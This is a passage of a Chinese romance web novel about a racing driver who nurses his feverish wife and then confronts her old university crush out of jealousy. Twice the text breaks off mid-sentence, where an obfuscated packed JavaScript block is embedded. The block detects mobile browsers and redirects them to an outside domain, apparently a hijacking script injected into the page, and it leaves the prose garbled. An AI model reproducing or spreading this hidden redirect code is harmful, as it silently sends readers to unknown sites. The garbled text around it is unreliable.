温木紧紧攥着男人的衣领,仿佛怕一松手他就会消失。 宋星燃单膝跪在床边,一只手捧着她的脸,轻轻揉搓着她的长发。 “别害怕,老婆,别害怕。” “我回来了,我在这儿。” 温木却搂得更紧,锤他的肩膀,哑声问他:“你为什么要回来?你的比赛怎么办?” 宋星燃捉住她的手,俯身,额头抵着她的,呼吸灼热。 “我不要比赛。” “我只要你。” 他的手指抚过她发烫的脸颊,触到一手湿润。 “老婆,你怎么哭了?” “别哭,别哭啊。” 温木低着头,一把抹去眼角泪水。她觉得自己像个被戳破的气球,所有的情绪都泄了出来。她明明不想哭的,可宋星燃一出现,那些强撑的冷静就全碎了。 男人手忙脚乱地擦她的脸,似乎是太过慌张,将她的脸上擦出几道红痕来。 最后他干脆一把将她搂进怀里,手掌轻轻拍着她的后背,像哄小孩一样:“好了好了,不哭了。我在这儿呢。” 温木把脸埋在他肩窝,呼吸间全是他身上熟悉的雪松气息,混合着风尘仆仆的汗水味。她这才注意到,他还穿着赛车队的训练服,连鞋都没换,裤脚上还沾着泥点。 “你怎么回来的?” “开车。三个小时。” 温木猛地抬头:“你疯了?!” 从布鲁塞尔到苏黎世,三个小时的车程,意味着他一路超速。 宋星燃却笑了,捏了捏她的鼻尖:“嗯,疯了。” 他的眼神温柔得不像话,可温木却觉得更难受了。 她低下头,声音闷闷的:“对不起。” “为什么道歉?” “耽误你比赛了。” 宋星燃叹了口气,捧起她的脸:“温木,看着我。” 她慢慢抬起眼。 “你比比赛重要,重要得多,你明白吗?” 女人的睫毛颤了颤,再次低下头去。 宋星燃无奈地笑了,低头吻她眼角。 他的唇很软,轻轻蹭过她的眼皮,鼻尖,最后落在唇角。温木下意识闭上眼,感受着他温柔的触碰。 “还难受吗?”他低声问。 温木点点头。 “哪里难受?” “头疼。” 宋星燃伸手探了探她的额头,眉头皱得更紧:“烧还没退。” 他起身去拿退烧药,温木却抓住他的手腕:“别走……” 宋星燃愣了一下,随即笑了:“我不走,就去拿个药。” 他很快回来,手里拿着药片和水杯。 温木看了一眼那棕黑色的药丸,立刻皱起脸:“苦。” 宋星燃挑眉:“温老师什么时候怕苦了?” 温木不说话,只是用湿漉漉的眼睛看着他。 宋星燃叹了口气,把药片放进自己嘴里,然后喝了口水,俯身贴上她的唇。 温木睁大眼睛,感觉到苦涩的药片被渡了进来。她想躲,却被男人扣住后脑,直到确认她把药咽下去才松开。 “混蛋。” 她小声骂他,却因为发烧而显得软绵绵的,毫无威慑力。 宋星燃低笑,又喂她喝了几口水,然后轻轻拍着她的背:“睡吧,我在这儿。” 温木确实累了。药效上来,她的眼皮越来越重,可手却还紧紧抓着男人的衣角。 宋星燃看着她渐渐平稳的呼吸,眼神慢慢沉了下来。 确认温木睡熟后,男人轻轻抽出自己的手,替她掖好被角,然后轻手轻脚地带上门。 他站在走廊里,掏出手机,拨通了于茉的电话。 出乎意料的是,电话几乎立刻被接通了。 “宋少爷。”于茉的声音很清醒,丝毫没有半夜被吵醒的困意。 宋星燃的眼神瞬间冷了下来。 “这么晚打电话,有事吗?”于茉问,语气平静。 宋星燃靠在墙上,声音压得很低:“温木发烧了。” 电话那头沉默了一秒:“严重吗?” “39度2。”宋星燃说,“医生说是因为过度疲劳加上酒精刺激。” 又一阵沉默。 “她喝酒了?”于茉终于问。 “嗯。”宋星燃的声音很轻,却带着不容忽视的压迫感,“伏特加。” 电话那头的呼吸明显一滞。 宋星燃继续道:“她从来不喝酒。“ “我知道。” “所以,”他的声音冷得像冰,“你能告诉我,到底发生了什么吗?” “阿木,没有告诉你吗?” “我要听你说。” “抱歉,宋先生。” “这是温木的私事,我想,我没有这个资格说。” 宋星燃笑了,那笑声让于茉后背发凉:“于小姐,你知道我为什么直接给你打电话吗?” “为什么?” “因为我知道你会接。” 男人慢条斯理地说。 “因为你也在等这个电话。” 电话那头传来杯子碰撞的声音,像是于茉不小心碰倒了什么。 “我不明白你的意思。”她的声音有些慌张。 “你明白。” 宋星燃的声音很轻,却字字如刀。 “从昨晚开始,你就一直在等温木的消息,等她告诉我发生了什么,然后等我打电话来问你。” “你——” “所以现在,告诉我。” “明杨是谁?” “你怎么知道——”于茉猛地刹住,但已经晚了。 “啪”的一声,泛着银光的打火机掉落,无助地躺在冰凉的大理石瓷砖上。 男人强压下所有的情绪:“谢谢,麻烦了。” 他干脆利落地挂断电话,然后拨通了另一个号码。 “少爷。”电话那头传来一个恭敬的男声。 “查一个人。”宋星燃的声音冷得像淬了冰,“明杨,中英混血,苏黎世联邦理工的学生。” “是。” “我要知道他这五年去了哪,做了什么,为什么突然回来。”宋星燃顿了顿,“还有,他和温木是什么关系。” “明白。” 电话被毫不留情地挂断,男人站在窗前,看着外面的夜色,表情阴郁得可怕。 他第一次得知这个名字后,整整一个星期辗转难眠。 最后决定,不查。 他从来都很相信她,但他从来都不相信自己。 他知道自己会自己失控。 就像现在这样。 雨不知什么时候开始下了。 淅淅沥沥地打在玻璃上,像无数细小的针,钻入心脏,只留下密密的痛。 * 温木再次醒来时,天已经亮了。 她迷迷糊糊地睁开眼,发现自己的一只手还被宋星燃牢牢牵着。他就靠在床头,闭着眼睛,眉头却还皱着,像是睡梦中也不安心。 温木轻轻动了动手指,男人立刻睁开了眼。 “醒了?”他的声音有些沙哑,俯身摸了摸她的额头,“烧退了些。” 温木点点头,嗓子干得说不出话。 宋星燃立刻端来温水,扶着她慢慢喝下。 “饿不饿?”他问,“我煮了粥。” 温木摇摇头,却又点点头。 宋星燃笑了,轻轻捏了捏她的脸:“到底饿不饿?” “饿。” 宋星燃起身去厨房,很快端着一碗白粥回来。 他坐在床边,舀了一勺,轻轻吹凉,然后送到她嘴边:“小心烫。” 温木乖乖张嘴,粥煮得软烂,带着淡淡的米香。 她小口小口地吃着,宋星燃就一勺一勺地喂,时不时用拇指擦掉她嘴角的米粒。 “还要吗?”一碗见底后,他问。 温木摇摇头。 宋星燃放下碗,又拿来药:“该吃药了。” 温木看着那胶囊,脸又皱了起来。 “我知道苦。”他无奈地笑,“但得吃。” 温木犹豫了一下,还是接过药片,闭着眼吞了下去。男人立刻递上水,又剥了颗糖塞进她嘴里。 “甜吗?”他问。 温木点点头,糖是草莓味的,甜得发腻。 宋星燃看着她皱成一团的脸,忍不住笑了:“这么难吃?” “太甜了。” “那吐出来?” 温木摇摇头,含着糖不说话。 宋星燃轻轻叹了口气,伸手抚过她的长发:“温木。” “嗯?” “昨天到底发生了什么?” 怀里人的身体明显僵了一下。 她低下头,手指无意识地绞着被角,半晌,才回答:“没什么,就是工作太累了。” 宋星燃静静地看着她,眼神复杂。 “然后呢?”他轻声问。 “然后,就喝了点酒。”温木的声音越来越小,“不小心喝多了。” 男人没说话,只是轻轻“嗯”了一声。 温木偷偷抬眼看他,却见他表情平静,只是眼神深得看不透。 “还难受吗?”他问,语气如常。 温木摇摇头。 宋星燃扶着她躺下,替她掖好被角:“再睡会儿。” 温木抓住他的手腕:“你去哪?” “不去哪。”男人笑了笑,“就在这儿陪你。” 温木这才松开手,慢慢闭上眼睛。 等她的呼吸变得均匀,他才停下动作,静静地看着她。 失望吗? 难过吗? 心痛吗? 他甚至不知道该选择哪个词来形容自己现在的心情。 这么久了,她终于在他面前卸下所有的防备,也愿意露出自己的脆弱,让他来照顾她、守护她,可这一切的源头,竟然是因为那个曾经当她动心的男人。 宋星燃觉得自己的脑子转不动了,所有的理智,所有的情绪,都被嫉妒冲散。 他只知道—— 她不愿意告诉他。 她选择了撒谎。 窗外,雨还在下。 宋星燃凝视着温木熟睡的侧颜,指节不自觉地收紧,将床单攥出深深的褶皱。窗外的雨声渐密,每一滴都像砸在他的太阳穴上,突突地跳着疼。 他想起于茉那个猝不及防的停顿,想起电话那头玻璃杯翻倒的脆响。 明杨——这个名字像根生锈的铁钉,随着温木撒谎时轻颤的睫毛,一寸寸钉进他的心脏。 “就是工作太累了。”她这样轻飘飘地说着。 她甚至不敢抬眼看他。纤长的睫毛在苍白的脸上投下阴影,像两片欲坠的鸦羽。 多可笑啊,他的妻子,那个在学术会议上舌战群儒的温博士,此刻连最简单的谎言都说得漏洞百出。 宋星燃突然站起身,喉结剧烈滚动。 他需要空气,需要远离这张还残留着退烧药苦涩气息的床。 浴室镜子里映出一张陌生的脸,眼底爬满血丝,嘴角却扭曲地扬。 他居然在笑。 原来嫉妒是这种味道。像含着一口伏特加,从舌尖烧到胃里,最后在胸腔炸开一团裹着玻璃渣的火。 他重重把拳头砸向大理石材,指关节传来的钝痛却压不住脑海里翻涌的画面:五年前的苏黎世,某个他未曾参与的夏天。他的妻子,也许正被另一个男人用同样的姿势抵在图书馆的书架间。那人或许也这样拂过她的睫毛,听过她因紧张而加快的呼吸。而现在,那双手正把蓝色风铃放在她的办公桌上,记得她喝咖啡要加双份奶。 “砰!” 又一拳砸下去,指节已经渗出血丝。镜面映出他猩红的眼睛,暴怒与痛楚在其中疯狂撕扯。 他忽然觉得很讽刺。 是他亲手把婚戒戴在她手上,是他在极光下跟她拥吻,可现在,他却连一个质问的立场都没有。 她甚至不愿意给他一个吃醋的借口。 水流冲淡了血迹,宋星燃盯着漩涡中心发呆。水珠顺着下颌滴落,像极了今早温木落在他手背的泪。 那一刻她哭得那么凶,仿佛要把五脏六腑都呕出来,可自始至终,没提过那个名字半个字。 她在保护那个男人。 到现在,她还是在保护他。 这个念头像毒蛇般窜上来,尖牙刺入最脆弱的软肋。宋星燃猛地关掉水龙头,水珠顺着紧绷的下颌线滑落,砸在瓷砖上碎成八瓣。窗外一道闪电劈过,照亮他眼底翻涌的阴鸷。 他要查个明白。 要查那个叫明杨的究竟凭什么,能在五年后还让她方寸大乱。要查那些花,那些咖啡,要查他不在的每一天,究竟是谁在窥伺他的妻子。 指节的血又渗出来,宋星燃却感觉不到疼。 比起最坏的预想中可能要面对的沉默的背叛,这点痛简直像挠痒痒。 他扯过毛巾胡乱擦了擦手,转身时却僵在原地。 温木赤脚站在浴室门口,睡裙下摆被雨水打湿,黏在纤细的脚踝上。 她怀里抱着他的外套,嘴唇颤抖着张开:“你的手机一直在响。” 闪电再次劈亮半个房间,宋星燃看清了她脸上的泪痕。 她听见了多少?看到了多少?她会害怕他吗?会离开他吗? 浑身血液在一瞬间冻结。 “车队,催 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408754|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你回去训练吗?”温木把外套递过来,布料上还沾着车载香薰的气息。 男人的脸色很不好,感觉跟她这个生病的人没什么区别。 “我没事了,你……” 宋星燃突然大步上前,将她狠狠按进怀里。他的手掌扣住她后脑,力道大得几乎让她疼痛。温热的液体渗入她肩窝的衣料,他才发现自己在发抖。 “宋星燃?” “别动。”他的声音哑得不成调,“就抱一会儿。” 雨声吞没了剩余的哽咽。 温木的手迟疑地环上男人的腰,却在触到他后背绷紧的肌肉时僵住。 那里全湿透了,不知道是汗水还是雨水。 他们像两柄互相伤害的匕首,她藏在枕下的秘密,他压在舌根的质问,都变成开刃的凶器,将拥抱割得鲜血淋漓。 * 温木在家休息了整整一个星期。 宋星燃寸步不离地照顾她,从清晨睁眼到深夜入睡,她总能看见他守在床边,或是端着热粥,或是拿着药片,眼神专注得仿佛她是易碎的玻璃。 她其实已经好得差不多了,可宋星燃却执意让她多休息。 直到某天清晨,她刷到热搜上的新闻—— #宋星燃退赛# #SilverArrow声明# #宋星燃手伤# 她的指尖顿住,点开词条,铺天盖地的评论瞬间涌入眼帘。 【退赛?比赛前一天退赛?耍大牌?】 【手伤?借口吧?】 【宋星燃最近状态确实不行,巴林站失误,这次直接不跑了?】 【楼上闭嘴!没看车队声明吗?是真的受伤了!】 【粉丝别洗了,退赛就是退赛,怂了呗。】 她的心脏猛地揪紧,抬头看向厨房里正在煮粥的宋星燃。 他背对着她,右手手腕上缠着厚厚的纱布,动作却依旧利落。 三个小时的车程,一路超速。 他甚至连手伤都没处理,就直接赶了回来。 温木的喉咙发紧,眼眶瞬间热了起来。 “宋星燃。” 她轻声叫他。 他回头,嘴角还带着笑:“醒了?粥马上好。” 她走到他面前,伸手轻轻碰了碰他手腕上的纱布,声音低哑。 “对不起。” 宋星燃愣了一下,随即放下勺子,用没受伤的那只手捧起她的脸:“说什么傻话?” 温木摇着头,一直道歉:“对不起,害你分心,害你挨骂。” 他轻笑,拇指轻轻摩挲着她的脸颊,眼神温柔而坚定。 “比赛没了还有下次。冠军没了还有下个。” “但你要是出了什么事,我这辈子都不能原谅自己。” 温木的睫毛颤了颤,眼泪差点掉下来。 她从来没有觉得自己这么脆弱、这么没用过。 可是现在,她看到这个男人,就会忍不住把自己缩起来,忍不住想躲进他的怀里。 她张了张嘴,想说点什么,可最终只是低下头,轻轻“嗯”了一声。 男人揉了揉她的头发,转身继续煮粥。 温木站在他身后,看着他的背影,心头翻涌着难以名状的情绪。 愧疚、动容、心疼,还有一丝说不清道不明的酸涩。 她突然很想抱抱他。 可她最终没有动。 她不知道自己有没有资格,不知道自己可不可以给他一个真心的拥抱。 * 一周后,温木回到了学校。 大病初愈,她整个人瘦了一圈,原本合身的衬衫现在显得有些空荡,脸色也比往常苍白。同事们关切地问候她,她只是笑笑,说已经没事了。 下午的组会结束后,她收拾资料准备离开,明杨却站在门口等她。 “温木。”他叫住她。 她抬头,眼神平静:“有事?” 明杨看着她消瘦的脸,眉头微皱:“你看起来还是不太好。” “我没事。” “我们谈谈。” “没什么好谈的。”她拎起包,绕过他往外走。 明杨却跟了上来:“就五分钟。” 温木的脚步没停。 “三分钟。” 她还是没理他。 “温木。”他的声音突然低了下来,带着几分恳求,“就当是,给过去的我们一个交代。” 温木的脚步终于顿住。 她背对着他,沉默了几秒,最终轻轻叹了口气:“说吧。” 明杨的眼睛亮了起来,他快步走到她身侧,保持着恰到好处的距离,既不会让她觉得压迫,又不会显得疏远。 “去校门口的咖啡店?”他问。 温木没回答,只是继续往前走,算是默许。 明杨跟在她身后,目光落在她纤细的背影上,眼神复杂。 她瘦了。 是因为生病,还是因为……他? 这个念头让他胸口发闷。 手机铃声响起。 温木停下脚步,从包里拿出手机,屏幕上显示着“老公”两个字。 明杨也停了下来,站在她身后两步远的地方,静静地看着她的背影。 她深吸一口气,接通电话:“喂。” “老婆,你在哪儿?”宋星燃的声音透过听筒传来,低沉温柔。 “在学校。” “还没回家吗?你还没好全,不能太累。” “马上回了。”她顿了顿,“你,在训练吗?” 电话那头沉默了片刻,随即传来一声低笑:“嗯,现在在Silverstone。” 温木“嗯”了一声。 “晚上吃什么?”他问。 “回家吃。” “一个人吗?” 温木下意识卡壳,侧过头,余光里是那道修长的身影。 她抿了抿唇:“嗯,一个人。” 宋星燃笑了:“我给你包了饺子,冻在冰箱里,煮一煮就可以了。” “好。” “挂了。” “嗯。” 电话挂断,温木把手机放回包里,继续往前走。 明杨也重新迈开脚步,两人一前一后,沉默地走向校门口。 校门外,一辆黑色科尔维特静静停在路边。 车内,宋星燃放下手机,目光透过挡风玻璃,落在那两道身影上。 一前一后,保持着距离,却又默契地走向同一个地方。 他的手指无意识地敲着方向盘,眼神渐渐冷了下来。 半晌,男人自嘲地笑了笑,低声喃喃: “他在你心里,就这么重要吗?” 46. For us 咖啡店的灯光昏黄,温木坐在靠窗的位置,指尖轻轻摩挲着杯沿。窗外是苏黎世傍晚的街景,行人匆匆,车流不息,一切都显得那么平常。 明杨坐在她对面,目光落在她脸上,像是在寻找什么痕迹。 “你瘦了。”他开口,声音低沉。 温木抬眼,神色平静:“病了一场而已。” 明杨的手指无意识地敲了敲桌面:“是因为我吗?” 温木微微皱眉:“别自作多情。” 明杨笑了,那笑容带着几分自嘲:“也是,你现在有他了。” “你还是喜欢坐在窗边。”他解开袖扣,将衬衫袖子挽到手肘,露出那串熟悉的檀木手串,“记得在ETH时,你总说要看天光变化。” 温木轻轻搅动咖啡:“人都会变。” “但你喝咖啡的习惯没变。”明杨指了指她的杯子,“双份奶,不加糖。” “只是习惯而已。”温木放下勺子。 “你到底想谈什么?” 明杨深吸一口气,从公文包里取出一个牛皮纸袋:“我整理了Schmidt项目的前期数据,想听听你的意见。” 温木没有伸手去接:“这些可以发邮件。” “我想当面请教。”明杨固执地将文件推到她面前,“就像以前在实验室那样。” 纸袋边缘露出一角照片,温木瞥见那是五年前天文台团建的合影。 她抬起眼睛:“明杨,我们都不是学生了。” “是啊,你都结婚了。”明杨突然笑了,指节敲了敲她面前的咖啡杯,“说真的,我没想到你会选择联姻。以前的温老师最讨厌豪门做派。” 温木的指尖无意识地抚过婚戒:“人生总有意外。” “比如我?”明杨倾身向前,“温木,当年的事……” “当年什么事?”温木打断他。 “是你为了Schmidt教授的推荐信刻意接近我?还是收到MIToffer后不告而别?” 明杨的脸色瞬间苍白。窗外的鸽子扑棱棱飞起,在玻璃上投下转瞬即逝的阴影。 “你都知道了?” “于茉告诉我的。”温木的声音平静得像在讨论天气,“你在教授办公室门口徘徊了三次,就为了制造''偶遇''。” 明杨的手指紧紧攥住檀木珠串:“一开始确实是这样。但后来……” “后来发现这个''温老师''比想象中难搞定?”温木轻笑,“我记得你当时在实验室放了整整一个月咖啡,直到我发现你根本不爱喝黑咖啡。” “我喝了整整一个月的胃药。”明杨也笑起来,眼角的细纹舒展开来。 “但值得。至少你终于记住了我的名字。” 阳光偏移了几度,照在明杨的侧脸上。温木忽然发现他眼角多了几道细纹,不再是那个在图书馆堵她时意气风发的少年。 “为什么要回来?”她轻声问。 明杨沉默了很久,久到咖啡表面的奶沫完全消散。 “我听说,你结婚了。”他的拇指摩挲着檀木珠上几乎不可见的刻痕,“我本来还不相信来着。” “但后来,Schmidt教授告诉我,你的结婚对象一个和我一样大的男人,你们,非常般配。” “那一刻我才真正意识到,你属于别人了。” 温木面无波澜,转头望向窗外。街对面的花店正在更换橱窗摆设,店员踮着脚将一束蓝色风铃草挂在中央,和上周出现在她办公桌上的那束一模一样。 “那些花该停了。”她说,“还有咖啡。” “我只是,”明杨的声音哽了一下,“想弥补当年的不告而别。” “不需要。”她转回视线,“我没有怪过你。” “那你为什么拒绝和我单独相处?为什么每次见面都像在躲避瘟疫?” 温木平静地注视着他:“因为这不合适。” “因为那个赛车手?”明杨冷笑,“他连大学都没有读完,他能懂什么?他连你的论文都看不懂吧?” “我先生确实看不懂我的论文。”温木的嘴角微微上扬,“但他会在我熬夜写论文时煮好宵夜,会记住我每个同事的忌口,会在我发烧时开车三小时赶回家。” “这些,你都不能。” 明杨的表情凝固了:“你发烧了?什么时候?” “这不重要。”温木将散落的发丝别到耳后,“重要的是,明杨,我们五年前就结束了。” “更准确地说,我们从来就没有开始过。” “我承认,我对你动过心,但也止步于此。” “你不会以为,我温木是一个,因为年少时的心动就会痴痴守候你一辈子的人吧?” 明杨猛地抓住她的手,“温木,如果当初我留下来,现在在你身边的,是不是就是我?” “不,你不会是。” “你会后悔。”温木默默抽回手,抽出纸巾擦了擦,“那时的你眼里只有MIT,只有那些耀眼的未来。而我需要的,是一个愿意在平凡日子里为我煮一碗面的人。” 明杨的喉结滚动了几下:“我可以学。” “不必了。” “我先生会给我做的。” 温木站起身,拎起公文包,“项目上的事邮件联系,私下就不要再见面了。” “等等!”明杨慌忙站起来。 “至少,我们还能做朋友吗?” 温木停在原地,阳光从她背后照过来,在地板上投下一道修长的影子。 “不能。”她的声音很轻,但字字清晰,“我先生会介意。” 明杨像是被重击般后退半步,撞翻了咖啡杯。深褐色的液体在文件上洇开,模糊了那张老照片上年轻的笑脸。 “你真残忍,温老师。”他苦笑着用袖子擦拭文件,“连个念想都不留给我。” 温木最后看了他一眼,转身走向门口。风铃随着推门的动作清脆作响,一阵暖风迎面扑来,带着初夏特有的草木香气。 街道上人来人往,温木站在咖啡厅门口,忽然感到一阵前所未有的轻松。 五年的时光像一场漫长的雨季,而此刻,她终于看到了云层后的阳光。 她在路边的长椅上坐下,看着来往的行人。一个穿红裙子的小女孩在不远处追逐鸽子,金色的辫子在阳光下闪闪发亮。忽然间,她们对上了眼神。 “你好!”小女孩突然跑到她面前,怀里抱着个脏兮兮的泰迪熊,用德语向她问好。 “你好。”温木回应。 “姐姐,我的泰迪熊很伤心。” 温木蹲下身,平视着小女孩:“为什么?” “因为我弄丢了他的朋友。”小女孩抽抽搭搭地说,举起泰迪熊让她看。 温木轻轻摸了摸泰迪熊的耳朵:“也许他会交到新朋友。” “真的吗?”小女孩睁大眼睛。 “是的。”温木点头,“有时候,新的反而更好。” 小女孩破涕为笑,从口袋里掏出一根草莓棒棒糖:“姐姐,这个给你!谢谢!” 温木接过糖果,看着小女孩蹦蹦跳跳地跑开。她剥开糖纸,甜腻的草莓味在舌尖化开。 她想起那些发烧的夜里,宋星燃喂进她嘴里的糖果。 糖果是甜的,他的唇也是,她的心也是。 * 钥匙刚插进锁孔,门内就传来爪子挠门的声响。温木推开门,汽油湿漉漉的鼻子立刻拱进她手心,尾巴摇得像螺旋桨。 “妈妈回来了。”她弯腰揉揉汽油的脑袋,闻到空气中若有若无的面粉香。 玄关的感应灯自动亮起,照亮厨房方向。温木脱下外套挂好,发现料理台上残留着几撮面粉,还有一小团被遗弃的面皮边角料。 冰箱门上贴着一张便利贴,上面画了个歪歪扭翘的笑脸,下面写着:“老婆的夜宵在冷冻室第二格~” 温木揭下便利贴,指腹蹭过那个墨迹晕开的笑脸。她拉开冷冻室,寒气扑面而来。透明保鲜盒里整整齐齐码着两排饺子,在冷气中泛着霜花。 那些饺子丑得可爱。有的捏得太紧像个月牙形的包子,有的边缘没封好露出一点馅料,还有几个因为塞了太多馅而鼓胀得几乎要裂开。每个饺子肚皮都圆滚滚的,看得出包的人拼命想多塞点馅料进去。 温木捧着保鲜盒,想起上周深夜醒来,发现身边空无一人。她循着灯光走到厨房,看见宋星燃围着她的碎花围裙——那围裙在他身上小得可笑——正对着手机视频学揉面。 他的黑发上沾满面粉,鼻尖还蹭着一道白痕,听到动静回头时,手忙脚乱地把面团藏到身后。 “老婆你怎么醒了?”他当时窘迫得耳朵通红,“我、我就试试。” “怎么,怎么处理垃圾。” 现在想来,他是在练习包饺子。 温木的指尖轻轻抚过保鲜盒表面凝结的冰霜。宋星燃那样的人,含着金汤匙出生的宋家三少爷,F1赛道上叱咤风云的冠军,居然为了她,在深更半夜偷偷学包饺子。 水壶的哨声惊醒了她。温木慌忙关火,水已经烧开很久,蒸汽把壶嘴顶得噗噗作响。她手忙脚乱地去拿锅,不小心碰到滚烫的壶身,疼得“嘶”了一声缩回手。 指尖立刻泛起一片红。温木打开水龙头冲冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415844|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。 所以,宋星燃学做饭的时候,是不是也被烫过很多次? 那人手上确实有几处不明显的小疤痕,但她从来没问过来历。 愧疚感像潮水般涌上来。 她想起自己发烧那晚,宋星燃连夜开车三小时赶回来,指关节上还有砸墙留下的淤青;想起他明明发现了异常,却忍着不问,只是每天变着花样给她煮粥;想起今早他手腕上缠着的绷带,为了照顾她,他甚至放弃了比赛。 锅里的水再次沸腾。温木小心翼翼地下饺子,看着那些丑萌的小家伙扑通扑通跳进水里,溅起细小的水花。她学着宋星燃平时的样子,用木勺轻轻搅动防止粘锅。 十分钟后,饺子浮上水面,表皮变得半透明,隐约透出内馅的色泽。 温木把它们捞出来盛进盘子,热气立刻模糊了她的眼镜。她摘下眼镜擦拭,眼前的世界变得朦胧而柔软。 第一个饺子入口时,她被咸得皱了皱眉。馅料明显盐放多了,但肉香和韭菜的味道却很扎实。 温木小口小口吃着,发现虽然调味不准,但每个饺子的馅料都剁得极细,完全吃不到筋膜的粗糙感,她最讨厌吃肉馅里的筋膜。 因为这,宋星燃说过很多次她嘴挑。 吃到第五个时,温木的舌尖已经发麻,却停不下筷子。 他们在家时不经常吃饺子。她吃不惯速冻的,新鲜的宋星燃又不会包,她也不想麻烦宋家的厨师再多打一份工。所以就是想得起来吃一顿,想不起来几个月半年都不见得吃一回。 还有一个问题是,他俩吃饺子有分歧,在蘸料上。宋星燃坚持饺子必须配陈醋,而她习惯蘸酱油,两人为此在厨房闹了半小时,最后以宋星燃把她扛到料理台上亲到腿软告终。 每次都是这样,说不过就亲,让他跟她干架他又不愿意,只把人往床上一扔就完事儿。 “咸死你算了。” 她对着空气小声说,却把最后一个饺子也吃得干干净净,连盘底的碎渣都用筷子夹起来吃了。 汽油趴在她脚边,黑眼睛湿漉漉地望着空盘子。 温木弯腰蹭了蹭它的鼻头:“不行,这是爸爸给妈妈做的。” 她洗好碗筷,擦干手,拿起手机。 屏幕还停留在和宋星燃的聊天界面,最后一条是他发来的赛车零件照片。 火星哥:【[图片]】 火星哥:老婆你看这个像不像你论文里那个星云? 温木的拇指悬在键盘上方,心跳突然加快。 她慢慢敲下一行字。 Jupiter:【饺子好吃。】 Jupiter:【我好想你。】 发送键按下的瞬间,耳根腾地烧了起来。 她慌忙锁屏,把手机扔到沙发上,仿佛那是个烫手山芋。 汽油歪着头看她,尾巴在地板上拍打出节奏。 温木蹲下来把脸埋进它蓬松的毛发里,闷声说:“不许笑妈妈。” * 咖啡厅的灯光已经调暗,服务生第三次过来询问是否需要续杯。明杨摇摇头,看着对方收走早已冷透的咖啡杯。 窗外的天色完全暗下来,霓虹灯次第亮起。他转动着手腕上的檀木珠串——现在只剩三颗了,其余的都散落在咖啡厅的地板上,被服务生扫进了垃圾桶。 摸出手机,相册里还保存着五年前偷拍的照片。天文台的温木穿着白色的衬衫,低头调试望远镜的侧脸专注而沉静,清冷而又干净,像是不食人间烟火的仙子。 那是他永远无法企及的画面。 “先生,我们要打烊了。”服务生站在桌边,语气委婉但坚决。 明杨点点头,掏出钱包付账。 纸币下压着一张ETH的学生证复印件,照片上的他笑得志得意满,下面印着“Nova”这个代号——那是温木给他起的,意为新星。 而现在,这颗星星陨落了。 他推开咖啡厅的门,夜风夹杂着汽车尾气扑面而来。明杨深吸一口气,转身准备离开,却猛地僵在原地。 三米外的路灯下,倚着一个高挑身影。黑色皮衣包裹着宽肩窄腰,黑发在霓虹灯下泛着冷冽的光泽。那人指间夹着一支未点燃的烟,正用打火机有一下没一下地敲着烟盒。 似乎察觉到视线,宋星燃抬起头。路灯在他轮廓分明的脸上投下深浅不一的阴影,琥珀色的瞳孔在暗处像某种夜行动物般发亮。 男人站直身体,一步步走近。动作优雅得像头猎豹,却带着令人窒息的压迫感。 他缓缓勾起唇角,露出一个毫无温度的笑容: “晚上好。” 47. For us 路灯将宋星燃的影子拉得很长,他斜倚在黑色科尔维特车头,指尖的烟在夜色中明明灭灭。 明杨站在咖啡厅门口,两人之间隔着三米距离,却像隔着一整个银河系。 “宋星燃?” 男人没应声,只是慢条斯理地将烟摁灭在路边的垃圾桶上。金属打火机在他指间翻转,发出清脆的“咔嗒”声。 他穿了件黑色紧身背心,外搭灰色的机车夹克,衬得肩线格外凌厉。左手腕上那块百达翡丽在路灯下泛着冷光, 宋星燃吐出一口烟圈,火星在黑暗中划出弧线。 “聊聊?” 明杨拒绝:“我们没什么好聊的。” “关于我妻子的事,我觉得很有必要。”宋星燃直起身,皮衣在动作间发出细微的摩擦声。 他比明杨高了半个头,投下的阴影完全笼罩了对方。 明杨摩挲着手腕上仅剩的三颗檀木珠:“温木知道你来见我吗?” 宋星燃低笑一声,将烟头碾灭在路边垃圾桶上:“她知道我今晚有训练。” 他故意强调了“训练”二字,“可惜,有人让我不得不临时改变计划。” “你跟踪我?” “需要吗?”宋星燃从口袋里掏出手机,屏幕上是明杨和温木在咖啡厅对坐的照片,“我妻子的行程,我一直很清楚。” 明杨的脸色变了:“你监视她?” “是保护。” 宋星燃纠正,手指轻点屏幕切换到下一张照片,温木站在家门口,弯腰抚摸汽油的脑袋。 “比如这张,是她十分钟前刚发给我的。” 明杨的瞳孔收缩了一下。 男人满意地看着他的反应,继续道:“她今天吃了我包的饺子,虽然盐放多了,但她全吃完了。” 他向前一步,声音压低,“知道为什么吗?” “因为那是我亲手包的。” “她发烧那晚,我连夜从布鲁塞尔赶回来,指关节到现在还青着。” “你跟我说这些干什么?” 明杨的声音开始不稳。 “我对于你们的夫妻生活并不感兴趣。” “哈!” 男人笑出声来,眼神骤然锐利。 “你说这话你自己信吗?” “说实话,我一点也不想跟你分享我和我老婆的生活。” “但为了让你死心,我不得不做出牺牲。” “温木现在是我的妻子,她睡在我的床上,戴着我送的戒指,连她养的狗都叫我爸爸。” 他轻笑一声。 “你算个什么东西?” “还想当小三挖墙脚勾引我老婆?” “有多远滚多远。” 明杨的拳头攥紧又松开:“至少我曾经让她心动过。” “心动?”宋星燃像是听到了什么笑话,“你是指你为了MIT的offer假装喜欢她的那段时间?” 